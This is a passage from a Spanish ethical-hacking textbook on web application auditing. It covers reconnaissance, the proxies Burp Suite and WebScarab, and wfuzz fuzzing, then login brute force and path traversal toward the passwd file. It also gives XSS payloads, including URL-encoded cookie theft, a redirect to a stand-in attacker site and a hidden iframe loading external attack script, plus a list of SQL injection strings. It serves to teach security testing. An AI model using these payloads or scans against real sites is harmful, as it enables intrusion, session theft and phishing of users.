ACISSI, encontramos: <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content-type" content="text/html; charset=UTF-8" /> <meta name="generator" content="WordPress 3.3.1" /> <title>ACISSI</title> <meta name="description" content="Ethical Hacking !" /> <!-- CSS --> <link rel="stylesheet" href="http://www.acissi.net/wp-content/themes/ Phenomenon/css/reset.css" type="text/css" /> <link rel="stylesheet" href="http://www.acissi.net/wp-content/themes/ Phenomenon/style.css" type="text/css" /> <link rel="stylesheet" href="http://www.acissi.net/wp-content/themes/ Phenomenon/css/custom.css" type="text/css" /> <link rel="stylesheet" href="http://www.acissi.net/wp-content/themes/ Phenomenon/css/tipsy.css" type="text/css" /> <link rel="stylesheet" href="http://www.acissi.net/wp-content/themes/ Phenomenon/css/superfish.css" type="text/css" /> <link rel="stylesheet" href="http://www.acissi.net/wp-content/themes/ Phenomenon/fancybox/jquery.fancybox-1.3.1.css" type="text/css" /> <!--[if IE]> <script src="http://www.acissi.net/wp-content/themes/Phenomenon/js/ html5.js"></script> <![endif]--> <!--[if lt IE 8]> <link rel="stylesheet" href="http://www.acissi.net/wp- content/themes/Phenomenon/css/ie7.css"> <![endif]--> <link rel="alternate" type="application/rss+xml" title="ACISSI RSS Feed" href="http://www.acissi.net/feed/" /> <link rel="pingback" href="http://www.acissi.net/xmlrpc.php" /> <link rel="shortcut icon" href="http://www.acissi.net/sites/ www.acissi.net/files/favicon.png" /> <link rel="alternate" type="application/rss+xml" title="ACISSI &raquo; Flux" href="http://www.acissi.net/feed/" /> <link rel="alternate" type="application/rss+xml" title="ACISSI &raquo; Flux des commentaires" href="http://www.acissi.net/comments/feed/" /> <script type=’text/javascript’ src=’http://www.acissi.net/wp- includes/ js/jquery/jquery.js?ver=1.7.1’></script> <script type=’text/javascript’ src=’http://www.acissi.net/wp-content/ plugins/my-calendar/js/jquery.easydrag.js?ver=3.3.1’></script> <script type=’text/javascript’ src=’http://www.acissi.net/wp-content/ themes/Phenomenon/js/bluz.js?ver=3.3.1’></script> </style> <script type=’text/javascript’> jQuery(’html’).addClass(’mcjs’); jQuery(document).ready(function($) { $(’html’).removeClass(’mcjs’) }); jQuery.noConflict(); </script> Observamos una combinación de scripts guardados en archivos separados, como jquery.js, y de JavaScript escrito directamente en la página. Podemos obtener el código de los archivos JavaScript llamándolos desde la barra de dirección del navegador, por ejemplo: http://www.acissi.net/wp-includes/js/jquery/jquery.js En Linux también podemos obtener el archivo mediante el comando wget: wget http://www.acissi.net/wp-includes/js/jquery/jquery.js En el caso del sitio web de ACISSI, podríamos haber descargado el conjunto de scripts descargándonos el código fuente de Drupal, que es un CMS libre. El conjunto de scripts viene en el paquete de descarga de Drupal. i. ¿Qué servidor se está utilizando y cuál es su versión? Saber con detalle el tipo del servidor y su número de versión es muy importante, ya que pueden tener fallos de seguridad publicados. No es raro encontrar esta información en la cabecera de respuesta del servidor. Otra forma de obtener esta información es la de provocar el retorno de una página de error, por ejemplo llamando a una página que no exista en el servidor. Esto puede hacerse llamándola a través de la barra de dirección del navegador o con la ayuda de un software para tener el detalle del error devuelto. Podemos usar por ejemplo Netcat: nc acissi.net 80 [Enter] GET ../../../ HTTP/1.1 [Enter] [Enter] HTTP/1.1 400 Bad Request Date: Thu, 09 Jun 2012 07:04:59 GMT Server: Apache /2.2.16 Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> </body></html> El servidor de ACISSI no es muy locuaz, pero podemos ver por lo menos que se trata de un servidor Apache versión 2.2.16. Hay otros que son bastante más elocuentes. j. Ayuda Podemos comprobar que todas estas pruebas son largas y tediosas, pero son una buena forma de aprender. Afortunadamente para nosotros, hay herramientas que pueden facilitarnos la vida. Un add-on muy interesante de Firefox es Web Developer, que podemos encontrar en la dirección https://addons.mozilla.org/es-es/firefox/addon/60. Una vez se ha añadido este add-on y Firefox se ha reiniciado, vemos cómo aparece una nueva barra de herramientas que nos permitirá realizar todas las operaciones que hemos visto anteriormente, e incluso otras más:  Para formularios: Forms => View Form Information.  Para cookies: Cookie => View Cookie Information.  Para JavaScript: Information => View JavaScript.  Para cabeceras: Information => View Response Headers.  etc. Esta nueva barra de herramientas nos da un acceso extremadamente simplificado a una gran cantidad de información. Una nueva barra de herramientas, la barra Web Developer 2. Descubrir la cara oculta de un servidor Web a. Utilización de Burp Suite Una técnica utilizada a menudo para dominar perfectamente los intercambios entre el cliente y el servidor consiste en colocar una aplicación entre ambas entidades. Para interceptar y, por lo tanto, poder tratar todos los intercambios entre el navegador y el servidor web, las aplicaciones se colocan como proxy Web. Escuchan la interfaz de loopback en un puerto particular. Sólo nos queda configurar correctamente nuestro navegador y ya estará todo hecho. Nos encontraremos en la situación de la ilustración siguiente. Aplicación situada como proxy Web Vamos a presentarle Burp Suite 1.5, que está disponible de forma gratuita en una versión limitada pero que presenta muchas herramientas plenamente funcionales. Siempre se puede adquirir la versión profesional, pero no es necesaria para lo que se explica en esta obra. También le presentaremos otras herramientas libres que pueden reemplazar algunas funcionalidades de esta suite. Para instalar Burp Suite 1.5 basta con seguir las indicaciones disponibles en http://portswigger.net/suite/ En pocas palabras, hay que instalar Java 1.5 o superior, descargar el archivo disponible en el sitio web, descomprimirlo en una carpeta y ejecutarlo con el comando: java -jar burpsuite_free_v1.5.jar Aparece la siguiente ventana: Burp Suite Sólo nos falta un último ajuste en nuestro navegador antes de poder utilizar esta herramienta. Burp Suite escucha por el puerto 8080 de la interfaz loopback. Por lo tanto hay que establecer la IP 127.0.0.1 en el puerto 8080 como proxy de nuestro navegador. En el menú Editar - Preferencias, de Firefox, nos vamos al icono Avanzado y a continuación a la pestaña Red. Hacemos clic en el botón Configuración y llegamos a la ventana que nos permite indicar qué proxy vamos a usar. Ajuste del proxy en Firefox Finalmente, Burp Suite está listo para funcionar. Vayamos a la pestaña proxy de esta aplicación. Comprobamos que el botón Intercept is on está activado. Ahora, con el navegador, visitamos la página de Ediciones ENI. El programa interceptará nuestra petición tal y como muestra la siguiente ilustración. Tenemos que hacer clic en Forward para transmitirla al servidor. Esta intercepción nos permite además modificar elementos de la petición que estamos mandando, pero este punto se tratará más adelante. Se requieren más peticiones para acabar de mostrar completamente la página en nuestro navegador. Intercepción de una petición HTTP con Burp Suite Si nos vamos a la pestaña target, vemos que aparece el sitio web de Ediciones ENI así como algunas otras líneas correspondientes a los enlaces que están en la página del sitio web. Podemos desplegar la rama www.editions-eni.fr y visualizar su estructura de árbol. Haciendo clic con el botón derecho del ratón en la rama del sitio web podemos enviar la URL al módulo scope (Add item to scope). Entonces será posible iniciar una búsqueda completa en las ramas del sitio web yendo a la pestaña spider y seleccionando spider running. Si vamos a la pestaña target vemos cómo evolucionan los elementos de la estructura del sitio web. Se puede simplificar la visualización pidiendo sólo ver los elementos del dominio "editions-eni.fr", sin elementos externos. Para ello, tenemos que hacer clic en la barra filter y seleccionar show only in-scope item. Después de unos segundos obtendremos la visualización que se presenta a continuación. Esta utilidad permite obtener rápidamente una cantidad enorme de información sobre el sitio web examinado. Mucho más rápidamente que buscando uno mismo los elementos, uno a uno, en el código fuente. Además, la presentación de los datos simplifica la lectura. Encontramos por ejemplo en la sección inferior, a la derecha, el conjunto de código correspondiente a una petición o a una respuesta. Podemos ver su cabecera (headers), su código HTML (html), su código hexadecimal (hex), su representación (render), etc. También podemos observar el conjunto de peticiones realizadas por Burp Suite en la zona superior derecha. De igual modo, en la pestaña proxy de Burp Suite disponemos de varias herramientas muy útiles, como por ejemplo distintas representaciones de peticiones o incluso un historial. Cuando se utiliza la herramienta spider, Burp Suite también realiza el barrido de los formularios con todos los campos que contienen. La intercepción de un formulario provoca que aparezca un cuadro de diálogo, tal y como muestra la siguiente captura de pantalla, que nos permitirá visualizar y modificar todos los campos del formulario. Burp Suite no continuará su barrido hasta que no validemos el formulario. Este comportamiento puede volverse rápidamente insoportable si el sitio web contiene muchos formularios. Pero Burp Suite dispone de una cantidad impresionante de parámetros y no podríamos explicarlos todos en este libro. Para evitar interceptar formularios hay que seleccionar la casilla don’t submit form en el apartado options de el apartado spider. El defecto de este tipo de herramientas es que rápidamente podemos perder de vista lo que hace exactamente la aplicación. A menudo es interesante disponer de una herramienta intermedia que nos dé soporte pero que también mantenga un control total de las peticiones enviadas al sitio web analizado. b. Utilización de wfuzz Wfuzz es un fuzzer orientado a la Web. Está escrito en python y, aunque es bastante simple y ligero, cumple muy bien con su cometido. Nos lo descargaremos de la dirección: http://www.edge-security.com/wfuzz.php Para instalarlo basta con descomprimir el archivo en la carpeta que queramos. En Windows nos encontraremos un archivo wfuzz.exe que bastará con ejecutarlo con las opciones adecuadas. En Linux necesitaremos python, que generalmente ya está instalado, y el paquete pycurl. El principio de wfuzz es enviar una multitud de peticiones al servidor en función de los parámetros que le hayamos pasado por línea de comandos. Utiliza principalmente diccionarios para crear sus peticiones. wfuzz permite almacenar los resultados de sus peticiones en un archivo html. Para evitar saturar el directorio de wfuzz lo mejor es crear uno especialmente dedicado para ello. Por ejemplo, puede llamarse resultados. Ya podemos escanear el sitio web de Ediciones ENI con el comando siguiente: python wfuzz.py -c -z file -f wordlist/general/common.txt --hc 404 -- html http://editions-eni.fr/FUZZ 2>resultados/editions-eni.html Pero tenga cuidado antes de ejecutar este comando. Como vamos a enviar una gran multitud de peticiones a un mismo sitio web, a una velocidad relativamente alta, el sitio web nos podrá prohibir el acceso al detectar este comportamiento ya que un ser humano no puede hacer tantos clics de ratón a esta velocidad. Expliquemos un poco esta línea de comandos:  python indica que deseamos ejecutar un script python. También podríamos haber dejado wfuzz.py como ejecutable activando, en Linux, su bit x.  la opción -c indica que deseamos una salida en color.  la opción -z determina que el diccionario que queremos utilizar es un archivo. Podríamos haber utilizado un rango de valores usando la palabra clave range.  la opción -file determina la ubicación del archivo de diccionario, en este caso wordlists/common.txt.  la opción -hc 404 indica que deseamos enmascarar la visualización de las páginas que devuelven el error 404. Volveremos sobre este punto más adelante.  la opción -o html indica a wfuzz que deberá proporcionar sus respuestas en formato html.  http://editions-eni.fr/FUZZ se corresponde con el sitio web que queremos examinar. La palabra "FUZZ" se reemplazará por cada palabra del diccionario que hayamos indicado, lo que va a generar un gran número de peticiones.  2>resultados/editions-eni.html redirige la salida 2, que se corresponde con el canal de error, al archivo acissi.html de la carpeta resultados. Esto evita tener en pantalla el conjunto de respuestas devueltas por el servidor, guardándolas en un archivo. Después de haber explicado las opciones pasadas por línea de comandos, obtendremos un resultado como el que se muestra a continuación: Escaneo del sitio web de Ediciones ENI con wfuzz Puede que nuestro comando se bloquee. Puede ser debido a la multitud de peticiones enviadas, que puede causar una reacción en el sitio web destino y/o la interrupción de nuestra conexión a Internet. Esta técnica de fuzzing debe usarse más bien para comprobar sitios web internos. Por ejemplo en una intranet o en nuestra máquina local antes de su publicación. No obtenemos grandes resultados en el sitio web de Editiones ENI y solamente obtenemos respuestas 301. Wfuzz muestra en efecto el código devuelto por el servidor así como el número de líneas y de palabras que se encuentra en la página devuelta. Vemos que es muy importante saber los códigos HTTP que puede devolver el servidor. Éstos son los más importantes:  1xx: información  100: a la espera de la continuación de la petición  2xx: éxito  200: petición procesada con éxito  3xx: redirección  301: documento movido permanentemente  302: documento movido temporalmente  304: documento no modificado desde la última petición  4xx: error del cliente  400: la sintaxis de la petición es errónea  403: rechazo del tratamiento de la petición  404: documento no encontrado  408: tiempo de espera de respuesta del servidor agotado  5xx: error del servidor  500: error interno del servidor Todos estos códigos de estado están documentados en la norma HTTP que corresponde a la rfc2616 y que se encuentra en la siguiente dirección: http://www.w3.org/Protocols/rfc2616/rfc2616.html Comprobamos que el sitio web no es fácil de examinar, probablemente porque está bien configurado, lo cual es la razón de menor peso para abandonar nuestros intentos. Como es absolutamente ilegal atacar un sitio web sin una autorización previa, lo mejor es instalarse en su equipo su propio sitio web local para comprender las herramientas y las técnicas utilizadas para atacar/defenderse dentro de la legalidad. Elegimos una configuración Apache/PHP/MySQL en la que instalaremos un foro. Hemos elegido FOG Forum cuyo sitio web se encuentra en la dirección http://sourceforge.net/projects/fog-forum/. Existen muchos otros pero hay que elegir uno. Para instalar Apache, PHP y MySQL hay que seguir la documentación correspondiente al sistema operativo. Hay que admitir que es un juego de niños, en Linux Debian Squeeze bastan una consola con privilegios de root y cuatro comandos: apt-get install apache2 apt-get install php5 apt-get install mysql-server apt-get install php5-mysql Incluso si solamente abordamos algunos elementos de la configuración de Apache en la parte de contramedidas y consejos de seguridad, no podemos explicar aquí la instalación de este tipo de servidor en todos los sistemas operativos existentes. Sin embargo, una solución simple para los amantes de Windows es el uso de suites que integran todo, como WAMP que está disponible en la dirección http://www.wampserver.com/en/ o también EasyPHP, disponible en la dirección http://www.easyphp.org/ La instalación del foro es relativamente fácil. Después de haber descargado el archivo de la dirección siguiente: http://sourceforge.net/projects/Fog-forum/, realizaremos la extracción de los archivos con el siguiente comando: tar xvzf fogforum-0.8.1.tar.gz Hemos usado un comando Linux, probablemente porque la mayoría de los servidores web funcionan con este sistema. Pero también existen versiones del archivo en formato zip. A continuación, vamos con nuestro navegador a la dirección local donde hemos ubicado los archivos extraídos, en nuestro caso: http://localhost/fog/install.php. Por defecto, el servidor Apache está configurado para apuntar en la carpeta /var/www en Debian. Esta carpeta sólo es accesible por el administrador del sistema, es preferible modificar la configuración para que la raíz del servidor apunte a una carpeta del usuario encargado del sitio web. Para nosotros será el usuario ”eni”, que dispone de una carpeta ”www”. El archivo de configuración de Apache por defecto es ”/etc/apache2/sites- enabled/000-default”. Lo modificamos como muestra la figura siguiente. Será necesario adaptar estas modificaciones a su situación. Estamos delante la página de instalación del foro. Rellenamos los campos y seguimos las indicaciones para configurar los permisos. Dos páginas más adelante nuestro foro ya está operativo. Sólo nos queda crear la cuenta de administrador. Ahora somos totalmente libres de iniciar todas las peticiones que deseemos en nuestro foro sin riesgo alguno. Reanudamos el rastreo de carpetas como hicimos anteriormente con el sitio web de Ediciones ENI mediante el comando siguiente: python wfuzz.py -c -z file, wordlist/general/common.txt --hc 404 -o html http://localhost/forum/FUZZ 2>resultados/forum.html -R 2 Obtenemos el resultado que se muestra en la siguiente imagen, que provoca la aparición de páginas consultables (código 200) y redirecciones (códigos 301 y 302). Podemos ir más lejos en la estructura de carpetas, por ejemplo dos niveles añadiendo la opción -R 2: python wfuzz.py -c -z file, wordlist/general/big.txt --hc 404 -o html -R 2 http://localhost/forum/FUZZ 2>resultados/forum.html Este comando puede durar mucho tiempo ya que se comprobarán todas las combinaciones posibles con las palabras del diccionario con una recursividad de nivel 2. Esta ilustración presenta un extracto de los resultados. Extracto del escaneo de fog forum con una recursividad de nivel 2 Podemos abrir en nuestro navegador el archivo que centraliza los resultados del comando gracias a la redirección. A continuación se muestra un ejemplo: Informe html realizado por wfuzz El descubrimiento de carpetas y páginas de los cuales no sospechábamos su existencia permite avanzar en el estudio del sitio web solicitando una visualización del mismo en nuestro navegador. A modo de ejemplo, descubrimos en nuestro foro una respuesta con un código 200 para la ruta php/stats. Si vamos a esta dirección, provoca un error que nos da información sobre la estructura del sitio web. Warning: include(FOG_DIRlibs/required/lib.get_topics.inc) [function.include]: failed to open stream: No such file or directory in /home/codej/fog/forum/php/stats.php on line 25 Vemos que ha buscado en la carpeta libs/required, que debe contener archivos inc. Esta información puede ser muy interesante para continuar. A menudo la configuración de los foros se guarda en archivos inc. Sin embargo, podemos ver que también tenemos una respuesta positiva sobre la carpeta config. Si solicitamos mostrar en la URL del navegador el archivo de la dirección http://localhost/fog/config/config.inc, aparece toda la configuración con los usuarios de base de datos. Probablemente no hemos seguido las indicaciones mostradas en la instalación que deberían de habernos advertido de no dejar este archivo accesible. wfuzz también permite buscar elementos que tengan un índice numérico, como imágenes o archivos de copia de seguridad. Esta vez es la opción -z range la que hay que utilizar. La opción -r permite precisar el rango de valores. Tendremos la ocasión de hablar de esta opción más adelante. 3. Analizar la información obtenida La recopilación de información que acabamos de realizar nos permitirá decidir qué estrategias de ataque utilizar para comprobar la robustez de un sitio web. A continuación mostramos una lista no exhaustiva de las posibilidades de ataque según la información recopilada:  Si el sitio web está en JSP y llama directamente a funciones en la URL podemos intentar utilizar otras funciones no autorizadas.  Si el sitio web es un CMS, y conocemos su versión, podemos buscar en Internet si hay fallos de seguridad conocidos para esta versión o si hay archivos de configuración sin proteger.  Si el sitio web dispone de un formulario de autentificación podemos:  Intentar modificar los campos ocultos.  Hacer brute forcing si no hay protección por captcha (especie de test de Turing que permite diferenciar automáticamente si se trata de un usuario humano o de un ordenador).  Inyectar cadenas de código.  Si el sitio web utiliza JavaScript podemos:  Llamar a funciones modificando los parámetros.  Analizar funciones de encriptación de contraseñas.  Si el sitio web autoriza a subir archivos, podemos intentar depositar archivos cuyo tipo MIME no es el autorizado y, con ello, ejecutar código en el servidor.  Si el sitio web realiza llamadas a sesiones, podemos analizar el método de identificación e intentar evitarlo:  modificando las cookies.  modificando las cabeceras.  modificando los campos ocultos de los formularios.  inyectando SQL.  Si el sitio web autoriza al internauta a depositar un mensaje, como por ejemplo en un foro, podemos intentar colocar código JavaScript en el mensaje para recoger otros datos o robar una sesión.  Si el sitio web muestra elementos presentes en la URL, podemos intentar inyectar código JavaScript.  Si el sitio web ofrece una función de "contraseña olvidada" podemos analizar su funcionamiento.  Etc. Es difícil detallar todas las posibilidades. Sería necesario un conjunto de libros dedicados a este tema. Nos dedicaremos por lo tanto a ejemplos comunes, que ilustren las distintas pistas que acabamos de comentar y que nos sirvan para comprender correctamente las posibilidades de ataque. Pasar al ataque de un sitio Web 1. Enviar datos no esperados a. Principios y herramientas Cuando se crea un sitio Web, el programador se centra a menudo en el aspecto funcional del sitio. Por lo tanto, espera un comportamiento normal del usuario y no siempre comprueba el conjunto de datos que recibe, considerándolos válidos. Pero como ya hemos visto podemos colocar entre el navegador y el servidor aplicaciones capaces de interceptar todos los datos que se intercambian. Burp Suite tiene esta función, pero a veces es un poco complejo de usar. Existen otras aplicaciones adaptadas a este tipo de ataques como WebScarab que podemos encontrar en la siguiente dirección: http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project Es una aplicación Java. Elegimos utilizar la versión selfcontained que ejecutaremos con el comando siguiente: java -jar webscarab-selfcontained-20070504-1631.jar Como sucede con Burp Suite, WebScarab se coloca entre el navegador y el servidor. De igual modo, utiliza las funcionalidades de proxy y escucha por el puerto 8008 de la IP 127.0.0.1, aunque el puerto es distinto al de Burp Suite. Puede que deseemos cambiar fácilmente de uno al otro cuando estamos auditando un sitio web, ya que en la auditoría de un sitio es muy pesado ir cambiando la configuración de un proxy a la del otro. Para ello, por fortuna en Firefox existen gran cantidad de pequeños add-ons para este cometido: instalaremos Foxy Proxy que está disponible en la siguiente dirección: https://addons.mozilla.org/es/FireFox/addon/Foxyproxy-standard/ Este add-on hace aparecer, en nuestro navegador, una pequeña cabeza de zorro. Si hacemos un clic con el botón derecho del ratón podremos gestionar las Opciones y proponer una lista de proxys. Añadiremos un proxy para Burp Suite y otro para WebScarab. De este modo tendremos la posibilidad de ir cambiando de uno al otro en un par de clics. Interesémonos ahora por WebScarab y veamos cómo se comporta con nuestro foro fog. Una vez arrancado, y con la configuración proxy en marcha, memoriza por defecto todas las peticiones GET e intercepta todas las peticiones POST. En la siguiente captura de pantalla vemos cómo se presenta la información. WebScarab En la pestaña Intercept tenemos la posibilidad de configurar el método que deseamos interceptar. Hemos visto que los dos principales (GET y POST) se utilizan, pero hay algunos más. Si pedimos a WebScarab que intercepte los métodos GET y vamos a la página de inicio del foro, la petición se bloquea. WebScarab solicita entonces qué tiene qué hacer con esta petición (vea la siguiente captura de pantalla). Tenemos la posibilidad de transmitirla sin modificación o modificar el contenido antes de transmitirla. Petición GET interceptada con WebScarab Podemos por ejemplo modificar la cadena de conexión de nuestro navegador, reemplazándola por Windowz para provocar un fallo. Si hacemos esta operación yendo al sitio web de w3shchools en el ejemplo de detección del navegador (http://www.w3schools.com/js/tryit.asp?filename=try_nav_all), veremos que no puede identificar nuestro navegador. b. Utilización de la URL Uno de los ataques más sencillos consiste en modificar la URL devuelta por el navegador al servidor cuando se hace clic en un enlace. Analizando el contenido de la URL podemos modificar los datos de las variables que normalmente deben enviarse. Este ataque no necesita ninguna herramienta particular, pero nos podemos ayudar de alguna para multiplicar nuestros intentos de forma automática. A continuación se enumeran algunos ejemplos de ataques usando esta técnica:  Buscar si una variable del tipo admin=0 o user=user está presente en la URL y modificarla haciendo admin=1 o user=admin. Aunque esta técnica parezca infantil, se puede dar el caso de que todavía haya fallos de este tipo, aunque tienden a desaparecer.  Comprobar que el sitio web no utilice la inclusión de un archivo en la URL. Es un método que permite simplificar la vida del programador pasando el nombre del archivo en una variable para que se incluya en la página. Si encontramos elementos con el patrón pag=presentacion.html hay muchas posibilidades de que se esté utilizando la técnica de inclusión de archivo. Entonces podemos intentar ir subiendo por la estructura de directorios del servidor para que se muestren datos no autorizados como por ejemplo ../../../../../../../passwd. Si se muestra este archivo entonces tenemos la lista de cuentas de usuario del servidor y sólo nos falta ir probando contraseñas.  Analizar si las imágenes o las páginas no se muestran en la URL porque se usan identificadores del tipo id=12 e intentar recorrer todos los id, incluso aquellos que no son directamente accesibles a través de un enlace en el sitio. Podemos utilizar wfuzz para multiplicar las peticiones con la opción -z range. Por ejemplo: python wfuzz.py -c -z range, 1-10 --hc 404 --html http://localhost/fog/index.php?fog_forumid=FUZZ 2>fog_scan1.html  Comprobar si hay alguna variable cuyo contenido sea texto que se muestra en la página. Si es así, podemos intentar ejecutar código JavaScript. Una prueba sencilla consiste en cambiar el valor que tenga asignado la variable por el código <script>alert(’prueba’)</script>. Si este código desencadena la aparición de un cuadro de diálogo, significa que el código se ha ejecutado. Entonces podemos redirigir la página a otro sitio web con el código siguiente: <script>document.location=http://pirata.com</script> Este pequeño fallo puede utilizarse para enviar un enlace a un usuario que desea acceder a un sitio determinado, al de su cuenta bancaria por ejemplo, y se redirigirá a otro. Para evitar levantar sospechas en la víctima si lee la URL, es fácil codificar los caracteres en ASCII. El "<" se convertirá en "%3C", el ">" en "%3E", etc. La víctima no verá JavaScript en la URL sino una sucesión de códigos, como podemos encontrar habitualmente en las direcciones de sitios web. Por ejemplo, la cadena <script>alert(document.cookie) </script> se convertiría en "%3c%73%63%72%69%70%74%3e%61%6c% 65%72%74%28%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%29 %3c%2f%73%63%72%69%70%74%3e". Hay muchos scripts en Internet que realizan esta codificación. A continuación se muestra el código fuente de un pequeño programa en C que permite también hacerlo: #include <stdio.h> #include <string.h> int main() { int i; char cadena[1000]; char p=37; printf("Introduzca la cadena que se va a codificar: "); scanf("%s",cadena); for (i=0;i<strlen(cadena);i++) { printf("%c%x",p,cadena[i]); } printf("\n\n"); return 0; } Existe otra solución para codificar las URL que también permite hacer otras muchas cosas. Se trata de un add-on de Firefox, HackBar, que le recomendamos encarecidamente instalar. La imagen siguiente nos muestra su apariencia. Sin embargo, actualmente se filtran las URL y, si bien aún podemos encontrar este tipo de fallos, la verdad es que cada vez son más raros. Una forma de evitar el filtro es colocar un "iframe". En este caso podemos incluir un área que llame a otro sitio que pueda contener el código JavaScript que deseamos utilizar. Además, podemos hacer invisible el iframe dándole a sus dimensiones un tamaño de 0. A continuación se muestra un ejemplo de código: <iframe width=0 height=0 src=acissi.net/js_ataque/></iframe>. Acabamos de hacer una primera aproximación a las posibilidades que nos ofrecen las URL. En todo caso, hay que hacer múltiples ensayos para probar la robustez del sitio. Nos podemos apoyar, de nuevo, en wfuzz y en los diccionarios. Por ejemplo, para comprobar que el filtrado de la variable fog_forumid es satisfactorio, podemos ejecutar el siguiente comando y analizar su resultado: python wfuzz.py -c -z file -f wordlist/common/big.txt --hc 404 --html http://localhost/fog/index.php?fog_forumid=FUZZ 2>fog_scanid.html Podemos ver que hay diferencias notables en la longitud de la página según el valor de esta variable. A continuación se muestra un extracto: 00001: C=200 337 L 565 W "007" 00002: C=200 337 L 565 W "0007" 00003: C=200 413 L 785 W "0" 00004: C=200 337 L 565 W "007007" 00005: C=200 413 L 785 W "00" 00006: C=200 413 L 785 W "00000000" 00007: C=200 413 L 785 W "/" 00008: C=200 413 L 785 W "000000" 00009: C=200 490 L 1044 W "1" 00010: C=200 490 L 1044 W "01" 00011: C=200 337 L 565 W "02" 00012: C=200 337 L 565 W "0249" 00013: C=200 337 L 565 W "100" 00014: C=200 337 L 565 W "1022" 00015: C=200 337 L 565 W "10sne1" 00016: C=200 337 L 565 W "0246" 00017: C=200 337 L 565 W "03" 00018: C=200 337 L 565 W "10" Podemos ir a ver qué se muestra para todas las respuestas con un número de líneas distinto, como por ejemplo con 007, 0 y 1. Estos valores corresponden, respectivamente, a una respuesta de categoría inexistente, una de retorno al inicio y una de categoría existente. Vemos acertado que el principio sea el de comprobar todas las posibilidades e identificar la respuesta que nos parezca sospechosa. c. Utilización de formularios Enviar datos no esperados utilizando los formularios es una técnica muy eficaz. Sobre todo si el programador, pensando que los campos ocultos de los formularios no pueden contener valores que no haya previsto, no los comprueba. La herramienta WebScarab permite modificar fácilmente todos los campos de los formularios antes de transmitirlos. Por ejemplo, configuremos webscarab para que intercepte las peticiones POST en la pestaña Intercept y creemos un post con un mensaje en nuestro foro fog. Nuestro envío se detendrá por WebScarab y éste mostrará todos los campos del formulario como muestra la siguiente imagen. Petición POST interceptada con WebScarab Podemos modificar todo lo que queramos en la pestaña Raw antes de enviar definitivamente los datos, como la longitud del mensaje autorizado, o el nombre del archivo adjunto, etc. Entonces hay que buscar, como en el caso de las URL, las variables que parecen tener un significado particular para el buen funcionamiento del sistema y modificarlas para provocar comportamientos anormales que permitan detectar posibles problemas de filtrado de datos. wfuzz también puede ser muy útil aquí ya que es capaz de usar un diccionario en un campo de formulario. De este modo, podemos realizar muchas pruebas en poco tiempo para comprobar, por ejemplo, la robustez del formulario de autentificación. Podemos capturar el conjunto de campos del formulario con webscarab y utilizarlos en el comando wfuzz. El comando siguiente intenta realizar un ataque por fuerza bruta al formulario con el nombre de usuario "codej" y usando el diccionario "commons.txt": python wfuzz.py -c -z file, commons.txt --hc 404 -o html -d "fog_action=1&fog_userid=&fog_path=http%3A%2F%2Flocalhost%2Ffog %2Findex.php%3Ffog_r%3Dlogin%26fog_action %3D1%26&fog_pseudo=codej&fog_password=FUZZ&fog_cook=3650" http://localhost:80/fog/index.php?fog_r=login 2>form_fog.html Si se encuentra la contraseña, el número de líneas o palabras devuelto será distinto a los que ha ido devolviendo en caso de error de autentificación. Es muy común que, cuando se trata de una autentificación, el identificador y la contraseña del usuario se comprueben buscando un registro en una base de datos. Si las variables están mal filtradas y la comprobación con la base de datos sólo se encarga de verificar que exista el usuario con la contraseña proporcionada, podemos realizar una inyección de código SQL para intentar saltarnos la identificación. Por ejemplo, si la consulta se parece a ésta: select * from users where login=’$login ’ and pass=’$password’; y el script se contenta con obtener una respuesta afirmativa sin comprobar el registro de respuesta, podemos forzar una respuesta verdadera a la petición inyectando en la variable $password la cadena siguiente ’ OR 1=1#. La petición a la base de datos es ahora: select * from users where login=’$login ’ and pass=’’ OR 1=1 #$password’; Esta consulta siempre devuelve una respuesta, debido a la cláusula OR 1=1. La continuación de la consulta es un comentario debido a la colocación del símbolo #. Hay muchas posibilidades de inyectar SQL, aquí solamente mostraremos el principio ya que podríamos dedicar un libro entero en exclusiva a explicar esta técnica por completo. Lo importante es comprender el método para poder prevenirlo. A modo de ejemplo, mostramos a continuación un extracto del diccionario SQL.txt de wfuzz: ’ or ’’=’ ’ or ’x’=’x " or "x"="x ’) or (’x’=’x 0 or 1=1 ’ or 0=0 -- " or 0=0 -- or 0=0 -- ’ or 0=0 # " or 0=0 # or 0=0 # ’ or 1=1-- " or 1=1-- ’ or ’1’=’1’-- "’ or 1 --’" or 1=1-- Un pequeño add-on de Firefox (SQL Inject Me) permite obtener un nuevo panel a la izquierda del navegador, tal y como se ve en la siguiente imagen, que permite configurar los parámetros de inyección para ejecutar baterías de pruebas. Panel izquierdo de SQL Inject Me Esta herramienta muestra a continuación un informe en formato html, como se ve a continuación: Informe generado por SQL Inject Me d. Utilización de la cabecera De igual modo que con las URL y los formularios, las cabeceras pueden tener datos sensibles que podemos modificar fácilmente. En este caso también podemos usar WebScarab o Burp Suite, pero también existen dos pequeños add-ons para Firefox que pueden modificar las cabeceras. Modify Headers permite realizar las modificaciones que deseemos en la cabecera mientras navegamos. Todo depende de nosotros para definir los campos de la cabecera, como se muestra en las dos imágenes siguientes. Modificación de los elementos de la cabecera con Modify Headers Live HTTP Headers permite capturar la cabecera que se envía, modificarla y volverla a mandar. Por ejemplo, podemos hacer creer al servidor que estamos usando IE mientras navegamos con Firefox. También podemos cambiar la línea Referer para que se piense que venimos de una página aunque vengamos de otra. Por ejemplo, algunos sitios web sólo autorizan algunas acciones con la condición de que se venga del mismo sitio web y no del exterior. Podemos engañar a esta comprobación. La siguiente imagen muestra cómo engañamos al sitio web dearquer.com cambiando las huellas que dejamos normalmente, mediante Modify Headers. El sitio web de dearquer no puede ver nuestros parámetros reales e. Utilización de cookies Las cookies son pequeños archivos que nos envían los sitios web para memorizar información sobre nuestro perfil o el historial de navegación. Todas estas cookies se pueden modificar. Podemos utilizar, como ya hemos hecho para otro tipo de datos, las dos herramientas que hemos presentado anteriormente, WebScarab y Burp Suite. Sin embargo, para descubrir un nuevo add-on de Firefox, utilizaremos Add N Edit Cookies. También habríamos podido modificar las cookies cómodamente con la barra Web Developer. Un add-on para editar cookies Visualizamos el conjunto de cookies que hemos recibido desde que hemos iniciado el navegador. Podemos editarlas y modificarlas. También 